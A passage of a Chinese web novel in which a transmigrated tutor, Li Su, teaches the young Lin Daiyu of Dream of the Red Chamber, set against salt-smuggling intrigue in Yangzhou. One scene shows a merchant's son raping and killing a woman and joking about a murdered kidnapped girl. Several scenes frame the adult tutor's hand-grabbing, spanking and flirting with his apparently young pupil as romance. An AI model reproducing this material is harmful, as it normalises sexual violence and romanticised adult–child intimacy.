只见黛玉,面色有些羞红,扭扭捏捏的上前,拿起了茶壶,欲言又止。于是催促道:“还愣着作甚?” 黛玉没说话,指了指李素的前胸,随后又挪开了眼睛。 李素一愣,看向自己。 完蛋,形象毁了! 原来刚才他光顾着自己绑的顺手,绑的爽,忘记了自己穿的的是长袍,长袍没有了束带,那就是袒胸露怀,风中凌乱。 怎么办? 只要自己不尴尬,谁爱尴尬就尴尬。 李素慢悠悠的站起身来,自顾自的说道:“今日午时,黄道赤道相交,正是体察天地时机……”就在黛玉不解的目光中,一顿胡说八道,漫步走进了里间,翻找起了束带。 这时候,就听外面的雪雁说话了:“姑娘,我刚才就想跟小神仙说他衣袍开了哩,可是他不让我说。” “说你没脑子,你还不信,这话能当面说么?” “背后说?” “嗯,等咱们回了后院儿再说。” “嗯嗯。” 李素听的差点儿手一抖,又系错了。 重新再来,好一阵儿,他咬牙切齿的把衣服整理好,这回他长了教训,自己查看了一下。 很好,洁洁青衣,玉树临风。 李素慢悠悠的走出里间,含笑着对黛玉说道:“玉儿来了?咱们开始今日的教学。” “小神仙,我受不住哩。”雪雁见李素还不搭理她,有点儿急了。 李素面做诧异:“咦?雪雁啊,你这是怎么了?怎么还被人绑了?” 黛玉和雪雁听着李素的话,感觉好像自己出现幻听了!这不是你绑的么?二人面面相觑,随后又一起看向李素。 李素蹲下身来,看着雪雁自言自语道:“这个绑法怎么好像是我的手艺?” “就是你绑的啊。”雪雁急道。 只见李素听完后,眉头皱成了一个疙瘩:“难道我又做梦了?” 做梦?黛玉和雪雁愣住了。 随后又听李素沉声说道:“玉儿,雪雁,我有病!” “啊!”主仆二人闻言捂住了小嘴,眼睛睁大了看着李素,尤其黛玉那好似会说话的眼中,有担忧,有难过,又有惊疑。 “吾好梦中绑人!”李素轻叹一声,伸手在雪雁身上一扯,一拉,只见那条束带竟然就散开了。 随后他又把腿都跪麻了的雪雁从地上拽了起来,帮她坐在椅子上。 扭头看向黛玉继续道:“所以,我在梦中的时候,不要靠近我,不要跟我说话,否则就像雪雁一样,被绑了。” 黛玉不由的点了点头,又瞧了瞧揉腿的雪雁,瞧了瞧一本正经面色低落的李素。开口道“玉儿知晓了,父亲那里可以唤来御医,晚些时候,我跟父亲说一说。” 李素继续诈骗:“不用,这是道伤,医家无用,过得一二年就自愈了。” “嗯。”黛玉点点头。 李素松了一口气,大功告成,这回就不担心她俩背后嘀咕了。 随后,李素抓起黛玉的小手:“玉儿,今日师父带你拔柳。” 黛玉挣了一下,没挣脱,轻声道:“师父也好梦中牵手么?” 嘶! 这小人精! 第18章 拔柳!拔柳! “小神仙,是清醒时侯,好牵手哩。”没等李素说话,雪雁洞察了一切。 李素就当没听见。 心说等哪天娶了你家姑娘,就开除你。 牵着羞羞答答的黛玉就往院子里走,他现在算是明白了,镇压林黛玉的利器就是让她害羞。 不要脸是他的长处,所以天生克制林黛玉。 走到一排挫柳树旁边,李素说道:“玉儿,把这些柳树拔了!” 黛玉不明所以,也有点儿无从下手,这个事儿不说是个体力活,对有些洁癖的她,也是个挑战,她看着李素,想听他的解释。 “倒拔!挨着来!”李素不解释,直接下令。 他的心有些紧张起来,万一拔了,还不成怎么办?难道真让黛玉练出一身肌肉么? 那还不如放弃这个系统,一心把林如海变成老丈人,靠裙带关系钻营。 “我来!”雪雁兴奋了,她看见这种考验力量的活儿,就像是打了鸡血。 “你别!” 李素话音刚落,只见雪雁抱住那棵最高的柳树就拔了起来,离开土的部分还带着一点泥水,还有一些残留断裂的根须。 “姑娘,你看,你看,多简单,我再给你……”雪雁骄傲的笑着,还欲动手。 李素大喝:“雪雁你住手!再动我的树还绑你,喂你吃虫子,让蝴蝶妖把你吃了!” 他真急了,万一刚好是黛玉拔了能启动系统的树,被雪雁拔了,岂不是冤枉? “喔,小神仙,那我不拔了。” “你如果要拔,去拔旁边那棵!”李素一指院子里那棵高大的香樟树。 雪雁撇撇嘴,不说话了。 她不是傻子!小神仙却把她当傻子。 “玉儿,来,从最小的那颗开始。”李素继续哄黛玉。 黛玉见李素如此坚持,只好走上前,但动手前又忍不住问了一句:“这对师父很重要么?” “嗯,是对咱俩很重要。”李素说了一句实话。 咱俩?这个字眼儿,让黛玉有些喜欢,于是她再想其他,双手抱住了那棵小树,刚刚好握的过来。 黛玉一使劲儿,拔!柳树离开了地面。 这当口,李素急忙看系统,没动静! “玉儿,继续!” 黛玉抱住了第二棵,拔! 李素再看,没动静! “玉儿,拔!” 黛玉继续…… 还是没动静! ……柳树一棵也没了,被黛玉拔光了,系统还是没动静! 李素的心也沉了下去,果然没这么简单,除非是……雪雁那棵? 他仔细的检查了一下根部,都差不太多,算了,再说吧,他整理了一下失落的心绪,看向黛玉。 只见她此时小脸儿红扑扑的,两颊跟光洁的前额,都着了一层细密的汗珠儿,在阳光下泛着莹润的光。 有些心疼,他从怀里掏出手绢,给黛玉轻轻拭去脸上的汗水,黛玉抬眼瞧他一眼,羞意又染上了双颊,蚊声道:“我……自己来。” 于是伸出自己的手去抓李素的手绢儿,李素没有争,顺手给了她。 他现在实在是没心情撩拨这姑娘。 擦完汗水的黛玉,悄咪咪的把手绢儿塞进了自己的袖子里,抬头看着李素问道:“是不是没有用?” “有,只是效果没有那么好。”李素笑道。 “那如若每天都拔一次,多久能有用?” “也许一天,也许一年。” “喔,对咱们好?”黛玉在这俩字儿上竟然加了个重音,李素听出来了。 于是他哈哈大笑起来:“好,真的好。” 黛玉点点头:“那明日里继续。” “好。”李素真的喜欢这姑娘了,开系统失败的失落在此时荡然无踪。 随后他喊起来:“和尚,过来!” 李无色依然一副狗腿模样儿,过来打了躬:“林姑娘,素哥儿。” 李素对他说道:“这柳树每日一早就换一批,你记录好,要有差异,还是要林姑娘能够拔的起来为标准。” “是,保证办好。” “行,你去吧。” 和尚闻言就走了。 随后李素拉着黛玉又回了屋子,开始询问起她的饮食和睡眠情况,黛玉边说他边记录。同时不时的插话询问两句。 随后,李素也不再理会黛玉,在纸上写写画画起来。 阳光此时开始偏西,光线打在李素的脸上,把他的脸映的更加棱角分明,而轮廓的边缘在阳光的加持下,仿佛镶了一层金边儿。 认真专注更增添了独特的气韵。 黛玉脑海里不由得泛起了几个字:芝兰君子,锵锵男儿。 一时间望着李素,她竟然痴了。 “好了,玉儿,这个你拿着。” “啊,好。”黛玉被李素的话 音惊醒过来。 伸手就去接他递过来的纸张,但很快又缩了回来,像极了受惊的小兔子,眼睛也不敢再看李素。 碰到李素的手了! 这是她第一次主动碰到李素的手,而不是被李素抓自己的手。 那感觉完全不同,让她的心好似这一刻跳成了麻花。 李素假装不知道,再递! 黛玉见状眼皮轻抬瞄他,见他表情毫无异状,暗自松了一口气,快速把纸接了过来,随后低头去看。 秀美的台阁体,写满了纸张,看起来俊秀飘逸又暗含锋芒,真好看。 欣赏了半天字体,黛玉注意李素还在盯着她,才想起看内容。 “每日早晨要吃一个鸡仔么?”黛玉皱眉,她不太爱吃。 “嗯,要吃,你不爱吃?” “嗯,蛋白还好,但是里面的黄,我吃不下。” “只是煮的么?” 黛玉不解问道:“还有其他吃法么?” “有,很多,这样吧,每日晨练之后,你在我这里吃完一颗鸡蛋再走。” “师父还会做饭?” 李素强调偏爱:“只做给你吃。” 黛玉不说话了,面色羞喜,点点头。 “来,我再跟你说说下面的这几个表,这个是记录你每日的体重和身高的。这个是记录你每天早中晚三餐的量,横向对比。” “嗯。”黛玉看了,很容易理解。 “这个是记录每日单次的活动量,这个是记录你每日晚间和午休的睡眠时间的表。” “嗯,这怎么有两个操舞?名字好生奇怪,标注也复杂了许多。”黛玉突然发现活动量里面出现了不理解的词汇。 无脑操她明白了,早晨已经学过了,下午出门散步也好理解,下午散步回来却多了一项。 还注明了,要与雪雁一同跳,还要乐器来配。 名字是,电话情缘操! 在她皱眉思索的时候,李素的心里快要乐开花了,无法想象娇弱弱林妹妹,跳一曲电话情缘? 那感觉,啧啧! 第19章 上手撩! 泰州。 长江畔的柴墟码头边,一字排开地停靠了一溜儿足有十几艘庞大的船只。 这些船赫然都是千料大船,甚至还有两千料以上的。 每一艘船上都堆满了鼓鼓囊囊的盐包,那盐包堆积如山,几乎将整个船舱都填满了,只留下窄窄的过道供船夫们行走。 而在这一列大船的四周,则环绕着一群密密麻麻、数也数不清的小船。 此刻,大批身材魁梧的汉子们忙碌着把盐运到小船上。 每个人的脸上都挂满了汗珠,但手中的动作却丝毫没有停歇。只见他们弯下腰,双手紧紧抱住盐包,然后使出全身力气,将其扛到肩上,迈着稳健的步伐朝着小船走去。 就这样来来回回,一趟又一趟,虽然累得气喘吁吁、挥汗如雨,但没有人停下休息。 更无人说话,沉默着闷头干活儿。 一个魁梧的独眼大汉,四旬左右年纪竟然扛了六包,走起来依然虎虎生风,只见他刚要下船,就有人奔了过来。 凑到他一侧,低声道:“龙爷,黄家想要定银,怎么办?” 独眼大汉闻言,大怒道:“放他娘的狗臭屁!告诉他,闯关成功,银子如数付清!这么大的量,如若不成功,老子就亏大了,你看看,咱们找了多少人?花了多少银子?” 随后沉声道:“飞狐,再跟他们确认一下,今夜子时到底准不准?” “已经反复确认过了,今夜子时到丑时,一个时辰内让我们就当稽查营不存在。” 大汉叹了口气:“一个时辰有点儿短了,这可是五十万石,算了,这一票做下去咱们好好歇息一阵子。” “龙爷,佛爷传信儿,说小当家想跟您见一面。” “啥?”大汉闻言一怔,身上的盐包顿时滑落,砸在了甲板上,发出咚咚的沉闷声。 “小当家要见您。”飞狐再次重复了一遍。 只见刚才还威风八面的汉子,此刻面上竟然出现了一丝紧张,来回走了两步,他不自觉的搓了搓手道:“那,那好吧,等咱们干完这一票。” 随后他看向了忙碌的场面,看向了远处不见尽头的江水,自己有多久没见儿子了? 想着想着,眼眶有些湿润了。 他擦了擦自己独眼,收起了自己情绪,一蹲身,对飞狐说道:“帮老子…额…老爷,帮老爷我把盐包搭上来!” 飞狐闻言忍不住笑了。 “笑你娘!我叫老爷不行么?” …… 林府,李素的屋里。 “笑什么?林黛玉!你严肃点儿。” 李素为了让黛玉能跳这个舞,无奈只能自己先跳一遍。 但是,从李素开始扭屁股,林黛玉的眼睛就弯成了月牙儿一般,小身子一抖一抖的,都要站不住了。 强扶着椅子,才没有倒下。 见李素凶她,她浑然没有了之前被凶时的紧张,心里乐的更欢了。 那如花儿般娇俏的小脸儿,都快被她绷得像似变了形,她使劲憋着笑,一个劲儿地点头。 点头的速度,再也不似和风细雨,而是如雪雁那个莽丫头,如鸡啄米。 李素感觉自己好像有些失策,自己还没看到景儿,倒先成景儿了。 但是戏已经开唱了,也丢了脸面,成本不能沉默,自己选的舞,含泪也要跳完。 “雪雁,雪雁!”李素注意到雪雁不但没笑,还在发呆。 “啊,小神仙。”雪雁回神儿,看向李素。 “你在想什么?” “我在想刚才小神仙的舞,然后自己在脑子里跳。” 李素大喜,这是好苗子! 他揉了一下雪雁的小脑袋,赞道:“真是好孩子,来我教你,你回头再教你家姑娘。” 雪雁猛点头,正经的小鸡啄米式。 “来,走……” “对,下腰!” “颠臀,对,非常棒!”李素鼓掌。 “玉儿,你看着!” “玉儿,你看着!” 嗯? 李素转头叫黛玉,谁曾想黛玉已经笑的眼泪都出来了,趴在椅子上一抽一抽的,一会儿一个“格格”。 这怎么能忍? “林黛玉!” “师……师父……格格……哎呦!” 屁股上挨了一下。 “站好了,跟着我学,再笑就想想刚才的疼。” 黛玉强忍住笑点头。 忽的两只小手被李素抓在了手里,就在她愣神儿的功夫,只听李素喊道:“雪雁你站对面儿,让你家姑娘看着,我说开始就跳。” “开始!” 雪雁动了。 李素拉着黛玉的小手开始摇起来。 “来,走……” “下腰!” 又被拍了一下,这次好轻,但有点儿痒。 手把手 ,一遍之后,黛玉是看明白了,但也被弄的羞不可已,不敢抬头看李素。 “玉儿,学会了么?没学会的话,我继续手把手教你,直到你会了为止。” “会了,会了。” 黛玉真怕了,不知为何,被李素抓抓砰砰,整个人恍恍惚惚,如醉酒一搬。 “真会了?” 黛玉见他那意犹未尽的表情,更羞,连道:“真的会了。” “好吧,那我给你你们打节拍,开始。” 黛玉扭扭捏捏,不情不愿的跳起了这个极丑的舞。 而在她的对面,雪雁极兴奋的咔咔跳这个让自己极爽快的舞。 一时间,相映成趣。 李素心里舒服,边看边乐,一舞毕,他没过瘾,于是边鼓掌边说:“再来一遍,玉儿很棒,已经快要超过雪雁了。” 第二遍开始,不知怎地,黛玉看着雪雁那挑衅的模样,也被激起了好胜心,舞姿开始带上了情绪,节奏顿时好看了起来。 两个丫头的劲儿头,就像两个小太妹,但是却穿着一身长裙,挽发髻,乱横钗。 有趣极了! 再舞毕,李素开始拱火儿。 “玉儿,太棒了,已经势均力敌,雪雁马上要被斩落马下,再来一遍,杀她个片甲不留!” “雪雁呐,你可长点儿心吧,你越跳怎么越回去了,马上就被你家姑娘超过了。” 黛玉已经感觉到嗨了,那种自由,张扬给了她前所未有的舒爽,喘息未定就下巴一扬,目光挑衅。 “师父,你看好了,那头呆雁放马过来!” “姑娘,我这次可不让你了。” “你好说大话,才不信你!” …… 李素憋笑,大喊一声:“开始!” 小妖儿乱舞。 第20章 黄金岁月 最终,黛玉也没有雪雁跳的带劲儿。 但是李素给骗成了第一名。 见黛玉已经气喘吁吁,光洁的额头已经开始滴汗了,他忍着笑让黛玉停了下来。 板着脸对雪雁道:“你要向你们姑娘好好学,多动动脑子。” “嗯,小神仙放心吧,要不我再跳一遍?”雪雁意犹未尽,这个舞咋说呢,跳起来的时候就是感觉自己成了后宅丫鬟们的王。 爱谁谁,太喜欢了,她琢磨着回头在她们每个人面前都跳一遍。 “还跳?那要看你们姑娘愿不愿意指点你?”李素继续捧姑娘。 黛玉笑颜如花,骄傲极了。 于是捻声道:“你先歇息一下吧。” “我不累!”雪雁一撸袖子,晃了一下自己的拳头。 “不,你累了!” 雪雁不信:“姑娘怎么知道的?” “你过来,我告诉你。” 雪雁乐呵呵的走到黛玉跟前儿:“姑娘你看。”她又想撸裤子秀肌肉,谁知耳朵突然就被揪住了,一如从前。 “累不累?” “累了,累了。”她慌忙摆手,习惯性被揪耳朵就认怂。 黛玉满意的笑了。 如夏花般灿烂。 李素看着她的笑容,有些恍惚,不管原著中的描写还是电视里的镜头,都没有黛玉这样明亮的笑容。 或许之前是有的,但没人看到,开局她就是从一个悲伤走向许多悲伤。 若天许侬少年时,一两黄金一两风。 雪雁履行丫鬟的职责,伺候自家姑娘和李素吃茶。 李素则一条一条的给黛玉解释,饮食运动方面的事宜,直到太阳西斜。李素见她的汗水不见,面色如常了。 “玉儿,你现在回后宅沐浴,然后用完晚膳后,再散步一刻钟就可以歇息了。” 黛玉点点头,看向李素:“玉儿记住了,那明日头午,师父能不能给我授课呢?雨村先生大约好不了。” “你想不想他一直好不了?” “啊,这……不大好吧。”黛玉有点儿纠结,她有点儿想,但觉得不太地道。 跟李素在一起,当然要比雨村先生强好多倍,说话好听,人又好看,让她从来没有这么开心过。 “好的很,一会儿我就去宰了他喂狗。” “这!”黛玉面露惊容,吃惊的看向李素,但见他嘴角的笑意就知道这个坏师父又开始逗趣她了。 “哼哼,那师父别忘了分我一杯羹。” 李素一拍桌子:“我只是要宰他,你竟然想吃了他?好你个林黛玉,他是湖州人,可不是福建人,再说了你也不是广东人啊。” 黛玉懵了,师父说的啥? “小神仙,我是广东人。”雪雁在一旁搭腔了。 “怎么证明?” “我系广东人咯。” 她话音刚落,就被黛玉又揪住了耳朵:“哼,你又不老实,上次你还说你是湖北人?” “疼疼,哎呦,姑娘,上次我是随我爹做的湖北人,这次换了。” “那你这次随的谁?”黛玉继续使劲儿。 雪雁大呼:“秋菊,这次随秋菊的啊,姑娘,我真是个老实人。” 黛玉一愣:“秋菊?你随的着么?” 李素也听的一愣,秋菊是谁?雪雁她娘么? 雪雁趁着黛玉愣神儿的间隙,小脑袋一拨愣,就挣脱了黛玉的手,往外就逃。 “你这个藏了奸的,果然又说谎,看我不打死你!”黛玉气的起身就往外追,李素见状从也大步起身,跟了出去。 黛玉今天运动量大,担心她跑太快跌跟头,所以在身后护着她一些。 直到她们跑进了中院儿,李素才回返了。 到了院子里,他想了想,又出门去了贾雨村的西院儿,看望一下这个同行,多久才能恢复。 小翠还在伺候贾雨村,见李素来了,赶紧行礼。 “雨村先生怎么样了?” 小翠答道:“醒了,在床上躺着呢。” “嗯,我去看看他。” 李素说着就往正房走,走了门口,好像想起了什么,于是他又退了回来,转向去了贾雨村的书房。 进了书房,就在里面转悠着寻摸起来。 真穷! 连个像样的礼品都没有。 无奈他随便从书架上抽了几本书,随后在书架上找出了贾雨村放钱的袋子,把书塞了进去。 满满当当,很好。 李素拎起自己的杰作就出了书房,奔向了正屋,到得门口就大喊起来:“贤兄!时飞贤兄啊,你怎么了?怎么就快不行了呢?” 屋中的贾雨村正在床上躺着,浑身没有一丝力气,忽然就听到了李素的话。 前面两句,让他还稍稍感动了一下,但听到后面,心里的气就止不住的涌了上来! 我怎么就不行了?!!! 不知道从哪里来了一股力气,让他努力的坐了起来,苍白的脸上也有了一丝红意。 “我没……”声音嘶哑,而且好像漏风一样。 李素闻听,大步走到了他的床前,一把抓住了他颤抖的手道:“我的贤兄啊,你怎么就要不行了呢?” 他说着还抹了抹眼角,抽了抽鼻子道:“贤兄,你节哀顺变。” 贾雨村整个人不好了,身体不自觉的抖动着,双眼瞪圆了看着李素。 李素握紧他的手,继续说道:“对了,我给你带了点儿特别贵重的礼物,千钟粟、颜如玉、黄金屋,你要不要?” “我…不…”贾雨村听话音就知道在骗他,他才不上当。 李素不理他,直接把塞满了书的袋子往他怀里一放:“贤兄啊,刚才弟弟给你开个玩笑,愚弟知你卧病,所以给你搜罗了一些书籍,打发时间。” 贾雨村听到这话,刚才的怒气竟然忽的一下就散了,内心竟真有了一些感动,这个李素虽然危险也惫懒,但还是个会关心人的。 但是这股气散了,他也就坐不住了,身子又瘫软了下去。 李素拍了拍他的肩膀,帮他掖好了被子,站起身说道:“贤兄安心养病,等你好了,我们同去瓜洲渡口吃茶听曲儿,看江水涛涛,看夕阳落幕。” 贾雨村心里更暖,竭力张口道:“好……”但他话音未落,李素已经不见了身影。 他低头看李素送来的书。 嗯? 这个袋子好生眼熟。 他颤颤巍巍的用手,打开袋子看,随后眼睛就瞪大了,这……这是他的书! 紧接着他面色涨红,嘴里发出赫赫的声响。 两眼一闭,又晕了过去。 走出院子李素,不禁长叹这美好生活,逗逗黛玉,踩踩贾雨村,真想留住这黄金岁月。 但心底的压力告诉他:不要停下,向前,向上,发芽! 第21章 风雨将至 扬州城北,一个占地广大的庄园。 它属于八大盐商之首的黄家。 正准确的说法是属于有【毒蝎】之称的黄家二公子,黄颉。 宅院深处的一个所在院落。 不断的传出男女调笑声,丝竹声,其中还伴随着一女子的惨叫声。 只听得一声男人嘶吼,女子的惨叫声戛然而止,然后是叫好声响起,调笑声也更加高涨起来。 黄颉剧烈的喘息着,把怀中的女子扔到了地上。只见女子下身流血不止,脑袋向一边垂落,脖颈赫然已被扭断,眼见不活了。 有仆役快速上前,把女子用白布一裹扛起来就往外走,另有仆役快速跑来,准备洗地。 黄颉见状,眼中戾气顿生,一脚把仆役踹倒在地,他的脸色一阵泛白,大骂道:“去你娘的,这是爷的今日成就,留着!” “二爷威武!”一个麻杆模样瘦小的男子大声叫好。 黄颉也不搭话,走到他面前,一把扯住他怀中女子的纱衣,只听嗤啦一声就撕裂开来,也不看女人,反而拿着手中的布条嗅了嗅,随手就擦向了自己的下身。 “四猴子,别老想着拍马屁,刘黑子那个臭营头儿如何了?” 四猴子一边嬉笑看着怀中女人手忙脚乱的捂胸,一边回话:“他正满大街找女儿呢,快要疯了……” 随后他身子哆嗦着大笑:“还,特么找…个屁…哈哈哈哈……哈哈,这不是就让二爷给弄死了么,嘿,这小雏鸟比瘦马还瘦,啧啧。” 最后摇着头,一脸的可惜。 黄颉哼了一声:“盯紧他!今夜他若是驻关,就给爷把他绑了沉江,若是没去,明天把他女儿送回去,然后让他一家团聚。” “那……他看到个死的还不得欢喜的立刻团聚?哈哈哈……”四猴子又疯癫的笑起来,竟然眼泪都出来了,直到笑声停了下来,他低头在怀中女人身上蹭起了眼泪。 随后想起一事,抬起头开口道:“二爷,盐龙说这回风险太大,闯关成了才付银子。” 黄颉吃掉一旁女人递过来的葡萄,嗤笑一声:“小家子气,应了他!这大周的天下,没人敢赖了我黄家的银子,更何况银子已经有人给了,哈哈哈。” “二爷做的好买卖,哈哈哈。” …… 泰州柴墟渡口。 李固藏在角落里歇息,看着外面依然忙碌搬运的场面,心里不自觉的泛起一丝担忧。 多年刀口舔血的生活,让他有着不同常人的灵觉,也因此才躲过了一次次杀身之祸,带领盐龙走到如今的地步。 这次到底是真有危险?还是马上要和儿子见面,心里有了顾虑? 李固心里没有答案。 “龙爷,布条,布条!”飞狐提醒道。 李固这才注意到,因为出汗,捂得眼睛难受,不自觉把扮演独眼龙的布条薅下来了。 他赶紧又套了上去,边套边骂道:“这劳什子戴起来真难受,下回坚决不再扮什么独眼龙了,你他娘给老子…嗯…老爷想个新花招。” “我已经想好了,下次给您弄副拐。” “去你娘的,赶紧去干活儿,时间不多了。”说完李固站起了身。 时间不多了,现在这个境地他已经没有退路了,为了接这趟买卖,把两淮一十八家私盐贩子都招来了。 进不一定成,退却一定死! …… 李素用过晚饭后,又花了一个时辰读书。 最后出了府门开始夜跑,跟早间一样,还是围着林府跑动。 但是他忽然发觉今日有些不对,不说林府的大门由原来的两人,变成了四人,在这林府四周也增加了巡更人。 再想起飞鱼卫的事儿,难道有什么危险?李素没有心思再跑了。 回到林府,进院儿正好遇到林忠,后面还跟着两个打着灯笼的仆役。 林忠见李素回来了,忙上前行礼:“小神仙。” “老管家,这是?”李素指了他这一行人。 “巡宅,老爷吩咐的。” “大人回来了没有?他嘱咐我晚上去书房找他。” 林忠笑着答道:“还没有回,想必是快了,老爷回来我去请您。” “行。” 李素点点头就回了自己的院子,大和尚已经把浴桶的水准备好了,他三两下就下了浴桶,洗了一会儿,他不禁闭目沉思起来。 看府里这紧张的模样,不像是防小偷小摸,应该是扬州官场的斗争马上就要激烈起来了,由此可以判断皇帝缺的银子应该不少。 他想的没错,今日林如海和两淮转运使的争执,已经激烈起来了。 两淮转运使司。 身子已经大感疲惫林如海,不想再绕了,于是狠狠的拍了一下桌案,猛的站起身来,指着两淮转运使大喝道:“邱齐,这个月底,百万石盐一两也不能少的沿运河北上,我管你背后有谁,少一两我就弹劾 你!” “林盐院,我还真就不怕你弹劾我,盐场产出不足,说破大天去也不是我邱某的错。” 林如海不再和他啰嗦,转身就走,他下定决心,明天就突袭巡查盐场。 据他所知盐场已经两个月没有出盐了,再加上下个月,怎么可能没有百万石,邱齐是睁着眼睛说瞎话。 明显他不敢,也没有理由自作主张,那么就涉及到各自背后的利益和枝枝脉脉的势力。 林如海有些心力憔悴,他虽然权重,但却是孤身在挑战整个江南官场,而且围绕着盐业如此巨大的利益,枝蔓上势力可不止在江南。 更是延伸到了朝中,甚至大明宫太上皇那里。 而扬州八大盐商中,吴家就曾接待过太上皇南巡。 在这张大网里,时时让林如海感到无力。 林如海回府的路上,他就这样想着想着就在轿子里睡着了,一直到了林府,仆役撩开帘子见自家老爷没动静,听到鼾声就知道他睡着了, 于是就跟林忠商议,直接抬到后院儿。 听到说话声林如海醒了过来,直接走出了轿子,摆手让他们退去了,只留林忠跟着。 林如海吸了一口新鲜的空气,徐徐吐出,开口问道:“今日府里还好?” “回老爷,一切好,对了,小神仙说晚上您回来,让老仆跟他说一声儿。” “嗯,你一个时辰后来请他。”林如海想起李素,随后又想起了黛玉,不自觉的心中疲惫之气消散。 “那都快亥时了,是不是会扰了老爷您歇息?”林忠看着林如海单薄的身子,有些忧心。 “无碍的,风雨将至,本也难眠。” 第22章 丈母娘看女婿 此时京城四王八公等一系旧勋,正在北静王府上饮宴。 贾赦、贾珍赫然在列。 北静王向贾赦举杯:“恩侯兄,此次却要难为你那妹夫了,所以这次让江南办事儿的银子,贾家不用出了。” 贾赦,字恩侯。 贾赦忙起身回敬:“王爷说的哪里话?为了我们这些人的荣华富贵,如海最多受一些压力,哪比得上身家性命的紧要?” 理国公的孙子柳芳附和道:“恩侯兄这话在理,只要那位没有银子,朝局就不稳,朝局不稳就不敢轻举妄动,我等就能安享富贵了,哈哈哈。” “哼,即便是飞鱼卫派了去,也难在江南那漩涡里有所作为,那位终究是格局小了,若是义忠……” “牛伯爷慎言,喝酒喝酒。”北静王赶紧止住他的话头。 …… 亥时刚过,林忠进了李素的院子,见屋里还亮着灯,就待往里走,突然感觉肩膀被人拍了一下,他急忙转身只见一个大光头突然就出现在了自己前面。 吓了林忠一跳,不自觉的向后退了两步,定睛看,不由得气道:“李无色!你是鬼么?怎么走路没声呢?” “嘿,那老管家,你猜我是什么鬼?” 李无色伸手扣住自己嘴巴,往左右一扯,眼睛上翻。 林忠被他的模样气笑了,骂道:“你给我滚,这么大人了,还像个小孩子。”他骂着突然想起了一事:“哎?不对,雨村先生是不是被你这熊模样给吓病的?” 李无色脑袋晃的像拨浪鼓:“不是,他是被自己吐的秽物给熏病的。” 林忠正待继续问,李素已经听到动静来到了院子里,给了大和尚一个赞许的眼神,随后开口道:“老管家有事儿?” “小神仙,老爷吩咐引你过去。” “嗯,劳烦带路。” “随我来。”林忠打着灯笼转身就往外走,李素连忙跟了上去。 走了一会儿,林忠觉得有点儿不对,急忙转头看,只见李素就在身后跟着。 林素奇怪问道:“怎么了?” “你这走路,怎么没有声呢?” “这是功夫,拆捏死功夫!” 李忠听不明白,摇摇头继续往前走。 李素走路没声是前世当兵当习惯了,李无色走路没声是因为这辈子做贼做习惯了。 一个兵,一个贼,同样的技术,相反的职业。 一路前行,过了中院儿,进入后院儿,院子之间的门已经落了锁,且门后还有人值夜,是林忠依次敲开门才得进来。 每个院落也有巡更人开始了巡夜,这是正经的院防安排,严密了许多。 林忠就带着李素直奔林如海的书房。 李素一路走,一路观察,天色太暗,大部分房间的灯都已经熄了,也看不出哪个是林妹妹的房间。 等他们敲门得到林如海的应声,林忠就退了去。 李素缓步入内,就见林如海正在伏案书写,他也不打扰,观察了一下屋中的情形,随后拿起了烛台下的针,把烛花挑掉。 屋里的光线骤然亮了一下,林如海抬头笑了,于是放下手中的笔说道:“妙言,你坐。” “大人,要注意眼睛,怎么也没有个人伺候?”李素坐在了一旁。 林如海伸了伸腰:“我嫌有人不得静,所以赶走了。” “师父,您是心不静。” 林如海闻言又笑了,心下暗暗点头,这猜人心思的话,只有称师父才好说出口,而不算唐突。 同时又喜李素的敏锐,于是夸道:“你感觉出来了?妙言真是好心思,天生当官的料子。” “师父谬赞了,我是只见府里突然就多了巡防人员,再结合飞鱼卫的到来,两下里一对就感觉肯定有事发生。” “嗯。”林如海颔首,他看着年轻锐气的李素,不由得考虑起来下午的想法,就是收李素为衣钵,传自己的道。 自己的身体也不太好,干脆趁着现在还有一些精力,把这件事儿做了。 于是接着开口道:“这里没有外人,不妨就和你说说。” 李素闻言,灵光一闪,立刻起身斟了一盏茶,递给了林如海:“师父,请喝茶。” “哈哈哈,好,好。”林如海大笑着接了过来。 这茶一接,让林如海下定了决心,也就定下了名分。 他虽然方正,但却不是迂腐之人,李素和黛玉那师徒名分只是个养生教导,不在名教之列。自然他说不算就不算,说算就能算。儒道且不相干,更何况儒家底线经常间歇性灵活。 “老爷,怎的如此开怀?”一个声音自门外响起。 紧接着就是一个美妇人进了屋子,身后还跟着个丫鬟捧着一个托盘。 “哈哈,夫人,来见见妙言,以后就是我的衣钵弟子了。”林如见贾敏来了,赶紧起身大笑着介绍。 这是黛玉生母,京城贾府王夫人的宿敌! 李素赶紧躬身行礼:“李素拜见师母。” 贾敏上下打量着李素,心中叹息,怪不得黛玉和雪雁这两个小丫头怀春,他出身再好些,如此姿容即使公主也配得了。 如今成了自家老爷的弟子,就像自己孩子一样了。 贾敏越看越是心生欢喜。 李素心说这丈母娘咋回事儿?咋不说话,也不让人起身? 贾敏终于在脑子里走完了心路历程,急忙上前托起李素的手臂:“哎呀,我的儿,快起,快起。” 这称呼差点儿让李素晕过去,这是薛姨妈附体了么? 贾府大小姐怎么也这么叫人? “咳,师母坐,我给您斟茶。”李素悄咪咪的把胳膊抽了出来,扶着贾敏坐下。 林如海见贾敏高兴,心中也愈发肯定自己的决定,在一旁看着笑容就没停下来,仿佛今天在两淮转运司受的气都不见了。 “夫人,怎么来了?” 贾敏听到林如海的问话,却没看他,反而向李素说了起来:“你师父今日里忙碌的有些晚,回了府又不曾吃下饭,所以我让厨房炖了人参鸡汤给他送来。” “碧荷,你去厨房再去盛一碗来给妙言。”她又看了看李素,随后又冲丫鬟补了一句:“两碗……唉,都端来吧。” 随后她又拉起了李素的手说道:“你这孩子,真是太单薄了,我听说了,你以后多吃点儿就能补回来。但也得有好的吃食才能补好亏空,而咱们府里好东西多的是,即使没有,你跟我说,师母都给你弄来。” 林如海忽然感觉自己好像有点儿多余了。 李素突然脑海里闪过了前世听的那句话:丈母娘看女婿,越看越好看。 可是,现在自己只是个徒弟。 这是把自己当女婿了么? 第23章 我该帮谁? 此时李素终于体会到了,黛玉被自己强行抓手的尴尬了。 报应来的就这么快。 白日里抓人家女儿的小手,晚上就被人家的娘抓了手。 “师母,我不会客气的。”李素笑着回应。 贾敏继续温声道:“那我就放心了。” 接着她又打量了一下李素,伸手抻了抻李素的衣裳,叹了一口气:“你看看你这袍子都旧了,赶明儿啊你一早,带玉儿上完早课,来趟后宅,我让人给你做几套。” 这细腻的关怀动作,让李素的内心大为触动,这般似母爱的关怀,自己有多少年没有感受到了? 时间很长,长到记忆早已模糊。 自己的母亲早逝后,父亲再娶,继母不贤。为了不让父亲难堪,自己就主动搬出了家住校。一直到上大学,当兵,到死都没再回过那个家,也不知道父亲是不是也死在核爆中。 